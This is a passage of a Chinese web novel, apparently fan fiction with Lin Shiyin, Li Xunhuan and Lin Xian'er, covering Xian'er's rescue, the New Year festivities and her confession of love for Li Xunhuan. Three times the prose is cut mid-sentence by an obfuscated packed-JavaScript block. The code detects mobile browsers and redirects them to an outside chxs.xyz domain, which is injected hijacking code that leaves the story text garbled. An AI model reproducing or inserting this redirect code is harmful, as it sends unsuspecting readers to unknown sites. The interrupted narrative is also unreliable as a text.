她方才的状态实在很难让你轻易信她,便挡住了她的好意。你只要稍稍缓缓,过了这蒙汗药的药劲,就能自己处理这伤和这毒了。 见你要躲,她的手轻轻点在了你的肩上示意你放心,然后拉开了自己的衣袖露出手臂上的伤口,将药粉撒在了她的手臂上。 “你看,没有毒,我自己也在用的。” 她的手臂白雪似的,于是伤痕很明显,青的、红的、紫的,你看一眼都觉得很疼很疼。 你不由得问道:“你的伤又是哪里来的。” 她哀怨地看了你一眼。 她眼睛很漂亮,像是玫瑰色的酒液,水润润的,哀怨的时候好像含了汪落不了的泪,悬在那勾着人心尖尖的疼。 “你看我一个妓女,你说我的伤是哪里来的呢?” “对不起……” 你懊恼地想给自己一巴掌,觉得你中的药真的是把你给药傻了。 她倒是一改方才幽怨的模样,笑了起来:“我骗你的,这楼里的人可舍不得打我,毕竟我很乖,也很贵,打伤了我他们可赔不起。这伤是我爹留给我的……你现在能让我给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988551|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你上药了吗?” 人的良心真的能允许自己再怀疑她吗? 见你迟疑地点点头,没有做什么抗拒的动作,她便为你轻轻剥开了伤口上的衣服,因为衣服黏在伤口上,所以即使她很小心,你还是有点点疼。 于是她一边说话给你转移注意力,一边帮你处理伤口:“我说我见你三次,你不信是不是?因为我们距离太远,你不记得我了,也可能你根本没看见在角落的我。但是我没有骗你,第一次见到你的时候,我爹正要把我买进妓院。” “……” 你的鼻尖离她的头顶的发很近,她的发软软的,带着一股油香味,不小心碰到你时,鼻尖实在是太痒了。察觉到你微微仰脸的动作,她不明所以地抬起头。 “哎呀,只是闲谈,你莫要露出这样的神色。”她噗嗤一笑,“我以为你这样杀人如麻的罗刹,心早就冷硬,倒是不知道你居然这般容易动容。不过想来也是,你若不是个善人,也不会每次屠楼之后再留下银子……因着那次你留下的那些钱我爹也分到了,我爹就没有将我卖掉。” “那为什么你现在……” “自然是因为钱被花完了呀。我娘说一个男人,喝酒打老婆,是很正常的,但是如果摊上了赌这一毒,再好的人也会变成恶鬼。我爹就是这样三个都沾的混蛋。你知不知道,一个年幼的孩子被踹得动弹不得,只能眼睁睁看着那男人一下又一下砸母亲头的痛苦?” 她沉默了一下,随后笑了,乐不可支似的:“不过,他是个很聪明的混蛋。他从那些脏臭的朋友那了解到了你的行踪规律,先你一步将我卖到了你可能经过的窑子,然后等你来了,不仅我不用被卖了,还可以又分到一笔钱。就这样,他一共把我卖了三次。” 你总觉得她笑的时候手在颤抖。 你看着她笑,却有点想哭。 你握住了她的手,不知道说什么,只能道:“以后不会这样了,你如果信我,可以和我走。” 她的眼神变得很奇异:“以后当然不会这样了,因为我爹已经死了,在第三次的时候。” 她顿了顿,红唇翘起,露出一个不知道是不是笑的笑:“他因为做坏事,被你顺手给杀了。” “……” 你冷汗都流下来了。 你看着眼前的女孩子,你发现她美得宛如天仙,言行却带着矛盾的魔性。她很脆弱柔软,即使你现在这个状态,也能轻松地找出她的致命点将她扼杀。可是她的那股劲和生命力却是那样旺盛,好像是从缝隙里钻出的花。 这朵花知道自己在这片狼籍中美得扎眼,所以不可避免地生出毒性自保。 你对她道:“你想报仇的话,我不阻止你。” 她道:“我若想报仇就不会救你了,虽然有些不好,但他死了以后我确实松了一口气。你如果有这样的爹,你也会在某个时刻咒他去死……我本不该这样说的。” 她对你道:“但是我知道你会理解我的对不对?” 她歪头看了你一眼,很疑惑你的状态,却又明悟了什么似的笑了。 “你不必自责,”她说,“毕竟那时,我对他的恨意大过了这世道要求我对你的恨意。” 话虽如此,你这时还不曾相信她。 直到很久很久以后,久到李园已换了几轮主人的时候,你重逢了林仙儿,你们谈起过去。 林仙儿说:“我知道那时你对我有愧疚,你总觉得欠了我什么。可你不知道,你是我林仙儿向上天求来的。我从未信过老天爷,我只是太想有人救救我,收了我那畜生的爹,于是我第一次求神,于是……你来了。” 5. 第 5 章 然而,这时的你很心乱,你不知如何在这种场合以“父仇者”的名义安慰,只能机械地回复她:“有些人不配为人父,如果我的行为给你造成什么过不去的困扰,那也是我的错,你是无辜的。” “哈哈哈哈哈,姑娘你说话是真可爱~” 她笑得花枝乱颤:“世界上怎么会有你这样的人,如果你是个行侠仗义的男人,我一定会使出浑身解数勾引你,让你爱上我。如果你是个如你外貌般的纯真大小姐,我肯定会卖可怜让你和我做义姐妹,让你分享我你的家世……可你若真是那两种人,我心里一定是瞧你不起的。” “为什么?” “因为我嫉妒那两种人的好运气,毕竟他们和我比,也只剩下了运气。” 她露出一个极为嘲讽的神情:“男人若是有你这般武艺,那他一定会骄傲地变成一个脑袋空空的蠢货。而女人,呵,被宠爱的女人本身就是蠢货。我又差他们什么呢……” 她说到这里,忽然一顿,错愕地问你:“你是不是给我下药了?还是我吃错了药,我……我本不该说出这些话的。” 她本只是疑惑,她甚至觉得自己这问题是莫名其妙的,这世界上哪里会有这种奇妙的药呢? 但你诚实地点点头,肯定了她的想法,于是她的表情一下子变得很复杂。 这药是你其他世界的朋友所赠①,你用了这么多年从不曾被他人察觉过。你发现这个姑娘真的很聪明,因为很少人会发现这一点。 但也侧面说明,她是个很擅长伪装、卖乖、说谎的孩子,否则怎么会怀疑自己竟也说出的实话呢。 “你不用怕,没有毒的。” 你虽然是半跪着,但你的神态一转方才虚弱的模样,你们两个人的对话也仿佛逆转了过来。 “……” 她对你露出了一个干巴巴又委屈兮兮的笑,似乎想要维持刚才的镇定,但或许是药效又或许是心气不顺,她终究维持不住,愤愤地闭上了嘴。 也就是这时候,不到十六七岁模样的她还有点孩子气。 “你叫什么名字?”你问她。 “……”她本不想说,但是还是开口了,“我、我叫林仙儿。” 她和你的姓氏是一样的,你看着这张稚嫩的脸颊,不由得放轻了声音道:“我叫林诗音,你可以叫我阿音姐姐。我送你离开。” 在她不解的目光里,你径直推开门,门口守着的人神情惊讶,但在你抽出熟悉的剑后,那惊讶便成了愤恨的冷笑。 你不想说那句太装的话,但是,见过你真实模样的坏人都得死。 * “传闻那罗刹在欢喜楼里连杀了十一个恶人,拐走了楼里最美的仙子,只留下一室的血污,有人进了房间瞧见那场景,嚯,就似见了真正的人间炼狱,立刻就疯了。” “可十一个恶人之所以称为恶人,不是臭名昭著吗?她替天行道有何不对?欢喜楼的人花钱请他们买罗刹的命,却没想到不仅不成功,还失去了一个花魁娘子,真是偷鸡不成蚀把米。” “你以为,她杀恶人是在匡扶正义吗?不,那是因为她比那些恶人更恶!她简直要成为一个比恶人更恐怖的传说了。” “是啊,她爱杀男人、吃妓女,这附近大大小小青楼里的女人都被她吃光了,不然那么大一群人怎么会集体失踪!我可怜的小红小翠……” “嘶——吃人?还专挑香的、嫩的吃?真是恐怖如斯!” 你带着林仙儿回了李园,虽然其实更像是她带着你,因为马车是她赶来的,而你正老老实实当个病患。 你一边听路上行人讨论八卦,一边在马车上拍脑袋想着怎么治疗自己——你怀疑你上辈子是学过医的,莫名就知道如何治疗自己和研制药物,只是年代久远需要多回忆一会儿。 你回家的第二天,李寻欢也回来了——你自然是知道这点才能赶巧回李园的,更何况,马上就是除夕了。 作为救命恩人兼义妹的林仙儿陪你等在门口,她看着李寻欢,神色莫名。 李寻欢也瞧了她一眼,但他依旧没有问什么也没有说什么,只是笑着抱住了你。 自李园来了许多新人,他虽会调笑你过的舒服,却不会问缘由和来历。他知道你若愿意,自然会和他说,你若不愿意,他也不会上赶着被你骂。 从小一起长大就这点好了,你的男人,是可以养成的。 他很称你心意。 * “但是他连姐姐受伤了也不知道。还抱得那么紧,险些碰到了姐姐的伤口。” 等李寻欢离去,林仙儿独自陪你,她为你拢了拢衣服,顺势贴近了一些:“若是我,第一时间就会闻到姐姐身上的药……啊欠!” 她迅速离开,揉了揉鼻子难以置信地瞪向你:“谁个好人家往自己身上撒这呛鼻的香料粉?” “他同你一般是狗鼻子。”你怜爱地递给她一块手帕,“我身上撒这味道就是为了避免他发现呀。” 林仙儿不开心地扯了你的帕子拿来擦手,问道:“姐姐是怕他知道你的事情,影响姐姐在他心中的柔弱形象么?” “我在他心中柔弱?”你想起他从前和你说的话来,忍不住笑了,“我在他心中可是第一剑客的形象。你也不必猜了,大人在外受伤,总不会告诉家里人让他们担心的。” 她的眸色一深,转而抬眸又是天真纯良的模样。 你指了指伤口和她道:“这是我同你间的秘密。还有我那些学生也是,她们往我身上靠的时候帮我拦着点,我被压着了也是怕疼的。” 她哼笑了一声:“我看姐姐被他抱着的时候可一点也不怕疼。” 她幽怨地叹息:“罢了罢了以后我也不关心了,反正我看出来了,姐姐和那些陷入情爱的女人也没什么区别,姐姐总也会替他着想给他说好话,须知我呀最讨厌瞧见别人恩恩爱爱,给姐姐提个醒还得被伤一次心……” 她顿住,哀怨地看着你:“姐姐是不是又给我下那种药了?” 你点点头。 她气得叫了一声,手指伸出作势要戳你的伤口,但终究没有真的戳到,而是转了个弯搭在你肩上戳了又戳,半边的身子已如蛇般挂在了你身上,在摇曳的香味里,她娇声道:“为什么啊~阿音姐姐,你是不信我么?” “不是信不过,而是担忧我哪里没做好。以我的性子,大抵是听不懂你有时的潜在意思的,而你也不一定愿意直接说,所以干脆简单一点给你下药,方便你我沟通了。” 她的眼睛瞪圆,显然是不太理解你这人怎么能把下药说得这般为她着想似的,但又不敢怼你什么。 你叹了口气,稍微低点头,让你与她平视:“你若是想要表达什么,直接和我说就好,不用怕冒犯我,我会答应你的。” 林仙儿怔了怔,随后露出来一个漂亮的笑容:“我才不信……” 她忽然愤愤地闭了嘴,看样子像是想扇自己的快嘴一下。 你了然。 她不信你,可又要与你作亲昵之态。 说来有点冒犯,可你偏想戳破她的演绎,只因恼怒的她好像才活过来些,才真实些。 * 要筹备除夕是很忙碌的一件事,李寻欢喜欢一切从简,但你是一个很有仪式感的人。 你起了一个大早,直接在小楼里抟了好几个雪球砸向冷香小筑的窗户,咻咻的破空声简直像是万箭齐发,若非你又用一些雪球减缓了“箭束”的力道,那情况可就不仅仅是把窗户敲得砰砰响了。 你一边砸,一边近乎是照着你回忆中的歌曲唱出来:“Do you wanna build a snowman?” 对面无奈地打开了窗,他刚刚睡醒还未来得及梳洗,黑色的长 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在他笑着佯装要丢回来的时候,你啪地关上了窗。 你承认你有些亢奋。 可你就喜欢过年的热闹,更何况今年李园的人多,需要统筹安排的事务也不少。 一整年不爱打扫卫生的你在这一天勤劳起来,吃好早点后你就分配好各项清扫事宜,大家一起开工。 然后你就因为实在不会搞卫生而被赶走了。 林仙儿近一段时间大概是中药中得破罐子破摔了,被笨手笨脚的你烦死,但你又总是在混乱中转过来转过去,她忍无可忍,张嘴就是一句:“姐姐不是能做这些事的人,还是一边玩去罢,别添乱了。” 这些天她对你总是很顺从,少有忤逆,因此这句话倒显得不像她会抱怨的话了。 可是你却很开心,你道:“我这次可没来得及下药哦。” 说出心底话后可别赖你总药她。 她一愣,反应过来后气得要用抹布丢你,事实上也丢了,只是被你躲开了。 你只能夹着尾巴去其他地方,你去找了李寻欢——因为去找其他姑娘的话总感觉会因为笨手笨脚而有堕师尊的样子。 说来奇怪,在外被说不拘小节的李寻欢,他的房间从小就比你整洁。哪怕是你随意丢在他屋里的东西,也被他珍视地放入柜子摆好。 又或许是他东西少,且长久不在家,所以才显得干净整齐。 你让李寻欢写一沓沓的春联,你要送去街坊邻居,感谢他们一年关照,更何况今年还有一群学生可以送。 你给他瞧你收到的各种剪纸,有梅花、燕子、蝴蝶这些与福气、喜气相关的东西:“这是她们昨天送我的,我得回礼呀。” 李寻欢便认命一笑,在红纸上写字。 你就在他边上看着,那漂亮的字体一笔笔流畅地出现在纸上,你越看越喜欢,不由得兴奋地亲了他脸颊一口:“小李探花,一笔好字,真真喜欢~” 你自己也不知道在胡言乱语什么,却看见被亲了的他失手在纸上落下一笔乱墨。 你觉得还是不要碍事比较好,在他出神时,嘿然一笑,跑出了门。 你跑在门口时撞到了林仙儿。 林仙儿端着盆水,没来得及整理表情,但是水洒出来溅湿了她的裙子,她不由埋怨道:“姐姐今日是喝醉了么?这般兴奋!” 你回她:“嘻嘻~” “……” 她放下了水盆来追你了。 不知道怎么回事,后面莫名其妙就有学生跟着追跟着拦,然后便玩闹成了老鹰捉小鸡,你躲在你的学生后面对林仙儿做鬼脸。 本来是很幼稚的事情,但是却很自然地就这样发生了——你们本也年纪不大。 6. 第 6 章 你拉着李寻欢出门去给街坊送春联,你们两个人上门同人谈天时总有人打趣你俩,但你知道那些都是善意的祝福。 你洋洋得意地看着李寻欢,为自己的好人缘。 你虽然没有明说,但希望他明白你的眼神是在示意:“看!这是我为你打下的人脉基础!” 他忍不住低头,用他的额头轻轻蹭了一下你的额头。 大庭广众下这种动作,真是叫人难为情。 你用力撞了回去表达发脾气。 李寻欢傻笑着握紧了你的手,在告别那些已经偷笑的人邻居后,走在街上,他和你道:“我不在的日子里,你一个人受累了。” 你不明白他为什么有此一说。 “园里的老人们都很照顾我,平日出门见到的街坊也都是熟人,何来受累?倒是你,总是离家,所以我想如果我每天都和街上邻居聊天打招呼,日后你回来,也会有很多人认识、关照你的。” 你学着别人说话的样子:“哎!那个,那个不是阿音她表哥吗?刚回来?吃了吗?” 你说着,忽然看见他那双含着笑意的眸子从笑意越满,到渐渐变得湿润。 “不会吧不会吧,”你歪头凑近他细看,“你哭啦?” 他偏过了头去,你又凑了过去,兀自感叹男人的多愁善感,直到他被你烦得破功,鼻腔里发出一声破碎的闷笑——他笑完就郁闷了。 你安慰他说:“人哭的时候就是会有鼻涕汽水的啦~” 他看上去更郁闷了:“……” 你却一直笑个不停。 你就这样一路打趣着他,把他逗得一会儿气一会儿笑为止。 直到你们回了家,看见李园那白色的春联,你才收了笑意。 是了,他还未出孝。 随着亲人逝去,如今能迎接他回家的家人只有你一个,所以你总想着街上如果能有人热情地和他打招呼,往后你如果不在了,他或许就不会那么孤独。 他看着李园的大门,那里有“一门七进士,父子三探花”荣耀,有你们玩闹时留下的划痕……如今在白纸的映衬下莫名有些悲凉。 他牵着你的手,对你说:“阿音,我……” 后半句没有说完,因为已经有人出来迎接你们了,她们彩色的衣服是那样热闹。 他止住了话语,你握紧了他的手,轻轻对他道:“我知道。” 你不知道李寻欢露出了什么神色,只因为那片香香的彩云已然靠近在了你身边。 你出门前就发了好些银钱给姑娘们采买,你以为只是送春联的你会是最早到的,没想到她们惦记着筹备工作,早早就回来了。 你很想去瞧她们都买了什么好吃的,但是李寻欢牵你的手太紧,你被拖慢了速度不说,被投喂了什么柿饼瓜子的还得匀他一口。 他太黏人了会有点烦。 所幸他红包发的大方,你才没有因着他而影响了和学生们的友谊。 * 在大家一起努力下,年夜饭是满满一桌子,虽然这份努力和你俩没有什么关系,但是你果然很喜欢人多菜多笑声多的气氛。 你拿出了一坛椒酒,他爱喝酒,你虽不赞同酗酒,但他自知节制,你便总会在各种时间满足他这无伤大雅的爱好。 你难得的宽容总会引发他的感动眼神,有时候你也怀疑自己是不是有pua的天赋。 这个时代是有烟花的,当烟花在黑夜里绚烂地绽放,姑娘们兴奋地离开了烘得人舒懒的暖炉,跑到了门外的院子里,就连林仙儿也不耐你慢吞吞的速度,抢到了一个最好的位置去看。 你自恃师道尊严,不可在人前失了稳重,缓缓走到外面。 你察觉李寻欢跟在你身后,然后你的肩上便落下一件袍子,他为你拢好后也不离开,没有说话,只是在身后一点的位置陪你看烟花: 彩色的光点在天空中绽放、破碎,给黑夜交织起一段变幻又绚烂的梦,短暂且千变万化,连串着一声声不散的炸响。 烟花好像会给人一种幸福安泰的滋味,你想要把那花攒绮簇的景象记住,让那一朵朵“花”熨帖地铺在你的心里,这轻盈又沉甸甸的美好记忆会铺到很远很远的以后,直到生命尽头。 晚风拂过,你双手合十,你轻轻说:“愿新一年里,李园的人都要顺遂平安。” 他听见了,笑看着你:“烟花这样短暂,你对它们许愿有什么用?” 他居然在这个时候变成扫兴的杠精,但是你心情好,不与他计较,只是顺手用肘往后一怼,怼到了他的胸腹,成功听得他一声作怪的闷哼。 你道:“祝愿总是要和美丽挂钩的,烟花就好比是我心里念头的具象化,你看见美好的东西难道心里不会有所触动想说什么的么?” “我是想问,”他无奈地走到了你身侧,“你想不想放孔明灯?许愿不都是放这个的么?” 你立刻亮了眼睛:“想!” 不过,你又摇头:“今天的风有些大了,恐怕不好放。日后选个无风的好天气,最好是元宵那天,那就好了。” “好。” 话虽如此,你们最终没能放成孔明灯,就像你不曾再给他吹笛一样。 * 李寻欢初七就因为一件事而不得不离开家了。 据说是一件很重要的事情,不过你没有问他,就像他也从来不过问你的学生们来历。 只是这一次他离开前,特意嘱托你小心林仙儿。 其实你一直知道仙儿漂亮姑娘的别扭和疯感,相处起来时,你看她每次在你面前企图耍点小心眼又折戟的气恼模样……挺带劲。 她并不是个坏人,倒像是求关注和爱的小孩子。 李寻欢见你没有将他的话放在心上,皱了皱眉道:“我本不该这样说的,但你不在的时候,她……她勾引我。” 你笑了,直白地嘲笑:“我方才还说你出门要带全东西,却不想还是忘带了镜子。” 你和他严肃道:“下次不要再说这样难听的话了,她还小,她不懂你也不懂么?” 李寻欢欲言又止,在你教导主任一般的视线里,叹息一声抱了抱你,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988553|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离去。 你目送着他离开,转身找那个未成年谈心。 林仙儿在她的房间里,看见你来时挺开心的,还把她的点心都摆出来招待你,真要对比的话,李寻欢都没有她殷勤。 你仿佛是看着猫猫给你端茶倒水,忍着良心的刺痛问她最近过得怎样,有没有什么需要的。 你语言很委婉,但是林仙儿却极擅长察言观色,她斟茶的手很稳,放下茶壶也很是自然地问道:“是小李探花同姐姐说了什么么?” 她甚至不需要你的回答,就先问你:“这次姐姐给我下了那种说实话的药了吗?” 你摇摇头:“没有,自然是需要你愿意说才叫谈心的。” 她于是对你露出了一个很好看的很甜的笑,像是鼓励和赞扬一般肯定了你的行为,你若是一个花痴定然愿为了她的笑容从此不再对她下药。 但以你这些时日与她的相处对她的了解,她的笑仿佛是个演员在提醒观众欣赏她表演的好戏了。 她自然是知道自己有多漂亮的,美貌让她在与人相处时无往不利,你也对她很是优待。 “阿音姐姐,你对仙儿多为照顾,仙儿都知道。仙儿从小孤苦,自结识你后才享丝丝欢愉,你的大恩大德,我自然不会忘,有件事,我本不想这样说的……” 你发现不用药的情况下,她真的能给你说一轱辘的话。 你早该发现她是个话唠来着的。 你从认真对待,到托腮应付,“嗯嗯啊啊”应了她半天,还没见她停下讲话,不由得道:“你再这样说话我就要下药了嗷。” 她便定定看你,像是不能理解怎么会有人对她的“甜言软语”铁石心肠无动于衷到这一步,然后她的大眼里忽然积蓄了一包越滚越大的泪,最后积蓄不住,刷的淌了下来。 她说:“是,我是喜欢小李探花。初不曾觉察什么,可他毕竟风流倜傥,又温柔体贴……我和姐姐不一样,我得不到他我的心都要丢了,可是姐姐没有他也不会觉得如何。你,本也不爱他对吗?” 她见你出神思考,神色便惶恐起来,显得楚楚可怜:“姐姐你生气了吗?是我不好,说出这样不知羞耻的话来,只是姐姐说什么事都能和你说的……我真是鬼迷心窍。” “我没有生气。” 你自然不会生小孩子的气,却觉得自己为人实在失败,你这样的珠玉在前,居然还能让林仙儿瞧上李寻欢么? 也正是此时,关于此书的记忆又有所浮现:主角最终将自己的订婚者让给了救命恩人。 “……” 说什么让不让的倒有些不尊重人了,虽然男人和牙刷一般不能共享,但别人也未必看得上你用过的牙刷……吧。 你不是很确定地看了林仙儿一眼,她的睫毛挂着露珠,直勾勾地看着你,仿佛在等你的回复。 你很诧异于自己居然会陷入如此狗血抓马的境地,因着自己是主角,却也能理解书里原主的做法:林仙儿不仅救了你,你还杀了人爹。你将她带回来,与其说承担着一定的责任,又何尝没有抱着赎罪的想法? 7. 第 7 章 可是,这种感情链接难道是健康的么?若真按原书的来,那成了什么样子?年幼的她,不负责的你,痛苦又纠结于两个女人间的李寻欢? 何况重要的根本不是李寻欢,而是仙儿自己的选择。她现在选择用你的“牙刷”,你实在是替她人犯了洁癖,何况林仙儿还是个未成年! “我只是觉得,或许你产生的感觉并不是爱?表哥那人确实不错,可若你才见他几面就说非他不可,也不至于此。” 教育缺失,从小不曾感受父爱,遇到一个相对不错的男人自然会产生移情,可是她能分辨这好感和男女之情么? 林仙儿对你发出暴言:“妹妹怎会不懂,妹妹是愿意同他春宵一度、颠鸾倒凤的。” 她看着你,生怕因为说得不够直白而不能叫你听明白——你怎会不明白,你可太明白了。 你作为过来人,淡定地表示:“那是因为你在青春期,受激素影响容易躁动,很正常的。” “……” 这话倒叫她不知道该如何接。 你握住了她的手,她的手较之你而言显得有些小了,看上去还是个孩子呢。 孩子就是挺容易天真热血,好像飞蛾似的,还没有分辨出光源,就一头扎进一个吸引住她的地方,不管不顾。 你想起来从前,你也有过这样的岁月。 你同她一起坐下:“虽然和你的情况不太一样,但是我有一个朋友以前也有你这种状态。” 林仙儿眼神天真直白:“你说的这朋友她是你么?” “……” 你难能地沉默了。 因为她说对了,那是你很久很久以前,久到几辈子前的故事了。 * 房间里静了一刻,屋外传来鸟鸣声。 看清你的出神,害怕你尴尬的林仙儿便抿了抿唇,示意自己不再干扰你了:“姐姐,你说吧,妹妹听着。” 于是你有些艰难地开口道:“她……从前也和一人自幼定亲,她对那个少年一见钟情,看见对方的时候也如你所说,非常想同他度几个春宵,不管那男人是否喜欢她……不过,她还是决定和他退婚,并且成功了①。” 林仙儿原本有些戏谑的神情变得有些狐疑,她开始思考这故事本身,而非是否和你有联系了:“是因为她不喜欢那男的了么?” “不,”你肯定道,“她超爱的。” “那,就是她发现这男的不是什么良配?” “并非如此,这是我……那朋友的祖父和母亲再三考察过的人选,以他二人的精明程度,人品有瑕者是绝不会被挑中的。” “那……” 你见林仙儿还要再猜,先一步打住了她,继续往下说:“与男女之事无关,她是下定了决心退婚的。提出退婚的那日,她当众比武打败了未婚夫。所以理所当然的,男方一直以为女方讨厌他,于是就也讨厌着女方,并决定下次一定要赢回来。” 林仙儿冷笑了一声:“真是小心眼的男人。” 你笑道:“她和你想的一样,她也觉得对方是对自己没有什么好感的,哪个男人会喜欢一个打败自己还嘲讽自己的女人呢?若是可以,她何尝不愿同意中人交心,白头偕老?” 你看着林仙儿,诚恳道:“可是,有比情爱之欲更重要的事情需要一个女人去做。” “是什么?” “是拒绝。” “拒绝……什么?” “拒绝那些对女人而言看似顺遂的裹着蜜糖的康庄大道。” “那是什么大道。” “那算是男人给的大道。你不要去走,你要自己去闯,否则你就会弄丢了自己了。” 你害怕被你救回来的姑娘,一头扎进另一个看似甜蜜的网里。 她爱的真的是李寻欢?还是李寻欢象征着的什么?李寻欢同你说的话不够尊重林仙儿,可是仙儿是否尊重过她自己?一个孩子当然可以去爱,可如果她还没有成熟,没有真正明白自己到底想要什么,那么日后她是否会后悔? 你不想让你们都后悔,也不愿叫她伤心。 林仙儿沉默一会儿,大抵是觉得你想说教,只是她不愿当面展露逆反的情绪,老老实实道:“我不懂。姐姐说的故事,想来是很有骨气的,可是仙儿和姐姐的朋友不同,我是决计做不到这些的。我本就是弱女子,若不能利用这点,还要抛却被赠予的关怀,我不就是吃大亏了么?” 说到这,她摇了摇头,轻笑一声:“道不同,我仍旧不理解她的做法。” 你叹息道:“你真的不理解么?她只不过不想当一个物件,被人倒手转几轮,从这一家送到另一家。” 林仙儿原本轻蔑的表情在听到这一句后怔了怔。 “她幼时丧父,虽祖父为族长,却也不能一直庇护她,那时她听祖父和母亲说的最多的,便是‘你若是个男儿就好了’。她年幼,心高气傲,不觉男女有异,认为自己是不够强才让亲人这般担忧,为了能够承担起一族重任,她私下刻苦,什么都要做到最好。经过多年努力,她成功了,是族中的少年天才,更被称一声少主而非小姐,就在她满心以为自己能承担族长一任时,却被告知即将外嫁。” 你叹了口气:“她的想法还是很简单,既然亲人都认为有了男人才有依靠,那就打败那个男人,证明自己比他强,这样之后,想来亲人连同外人也不能因她的女子身而否决她这么多年的志气、努力和成功。” 林仙儿嘲讽了一句:“自找苦吃,她已经被偏爱着,却倒嫌那些是枷锁。” “这和爱有关,却也无关,没有自由的人生要爱做什么?是拿爱当宠物的饲料么?”你冷冷道,“何况那不是被偏爱,那本就是她应得的,若她真是男儿,那她做得一切就更顺理成章了。” 你在林仙儿面前讲话也从来委婉,除了杀人,她很少见你冷肃的样子。她看向这样的你,眸中闪烁着一种奇异的光彩,不知是被吓到了还是怎样,她放轻了声音问道:“后来呢?” 于是你继续说了下去。 在你的故事里,那个她一直拒绝接受,拒绝被指定的人生,拒绝被冠以夫家之名,拒绝等待他人救赎,直到身死大海。 “若是我,定然不会做出这样傻的决定。”林仙儿说着,脸上却没有了嘲讽,反倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988554|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几分低落和唏嘘,“遵从爷爷给定下的婚约,就不必在家族中磨练,亦能有一个前途光明的伴侣;倘若当初她不执意退婚,也能和喜欢的少年相敬如宾;若最后她不去救人,等着少年为她带来救命药,她也不会落得玉碎的下场。” 你回忆起了过去,轻轻笑了起来,你说:“可也因为如此,她留下的都是自己踩出的足迹,传下的也都是她自己的姓名:不是祖辈的孙女,也不是夫家的妇氏,最后被她救下的人都会记住她叫什么。” “比起自己的幸福和生命而言,这重要吗?” 你想了想,最后摇摇头:“不重要,只是这是她自己的选择,她自己选择这么做了而已。” “当一个人不为名利而做了伟大的事的时候,她便更伟大了。”林仙儿道,“我明白了,姐姐是想说不该拘泥情爱,人生的选择有太多了是吗?可是仙儿和那姐姐是不同的,仙儿不想……没苦硬吃。” “那若我如今拿剑指着你,逼你吃苦呢?” “?” “我若以你的性命要挟,你根本没有拒绝的权利。” “天下能拒绝姐姐的又有几人?”林仙儿皱着眉,目露指责,“姐姐根本就是为难我,一个女人只有拿起了剑,才有选择的机会,若她没有拒绝的实力,又哪来权力拒绝呢?” “那你就拿剑,我教你!” 林仙儿难以置信地看向你:“我、我……” 她低低道:“我有非分之想……这样对你,你也愿意教我么?” “你年纪还小,选择不需要做太早,何苦执着于一人,你尽可以去多看看,而我也不会插手干预。我现在教给你的,是当你后悔了,还有选择退出的能力,你要学么。” 林仙儿似有所悟,她说:“姐姐有所不知,有的人陷进去,从情感而言是逃脱不了的。” “……” 在你发愁于不知这孩子到底该怎么教的时候,她挺开心地笑起来。 她接着说道:“但是姐姐不是这种人。我还是不知道姐姐的故事是什么意思,但我已经知道姐姐是怎样的人。说到底,姐姐不过是没有那么爱小李大人罢了。于姐姐而言,情爱在任何选择下都是要避让的。” 现在轮到你不懂她的意思了,你无意与说不通道理的人东扯西扯:“你要是不想学,我就走了。” “我自然要学的。”她飞快地接口,没有一丝犹豫,不像往日和你撒娇偷懒的模样,你倒隐隐吃惊。 她看出你的吃惊,笑道:“我若真拒绝了姐姐,我岂不是比那群蠢货更蠢?” 她的眸光闪闪:“姐姐你可知,我想成为你这样的人,第一次见你时就这样想了……那些我原以为最凶残的人,不过是你剑影下被戏耍的亡魂。” * 于是,继红茶制作教学以后,你即将开展武术班。 说是即将,却是因为还没有开展。 林仙儿对你道:“姐姐你知道仙儿父母双亡(其中有一个还是你刀的),从小孤苦伶仃,如今只有姐姐听我直言不讳也不生气,所以仙儿有个不情之请:姐姐可不可以在我学成之前只教我一人?”② 8. 第 8 章 她都这般说了,以你的良知自然不会拒绝她。 许是你未说话,她自知有些过分,解释道:“我并非是爱攀比要压园里的姐妹一头,若我学会,我一定绝不藏私地教给她们。我只是不忍姐姐管理家中事务之余,还要教众人而受累……再者便是……” “便是什么?” 她破罐子破摔一般,鼓起勇气说出了自己的想法:“便是我虽然不堪,心却霸道,我想要独占到姐姐全部的宠爱,绝对不愿同他人分享的。” 她说完有些不好意思,陷入了一种“我想这么说”“可是我真的能这么说吗”的中(第四声)药后遗症。 你欲言又止,却没有拒绝。 她高傲又自卑,聪慧又拘泥,想被爱又没学会爱,真是你所有学生里最难搞的一个。 不过她能知道什么最有利于她的选择,她精力旺盛,也吃得了苦:不管学什么,练基本功总不是件轻松的事情,但她却能坚持—— 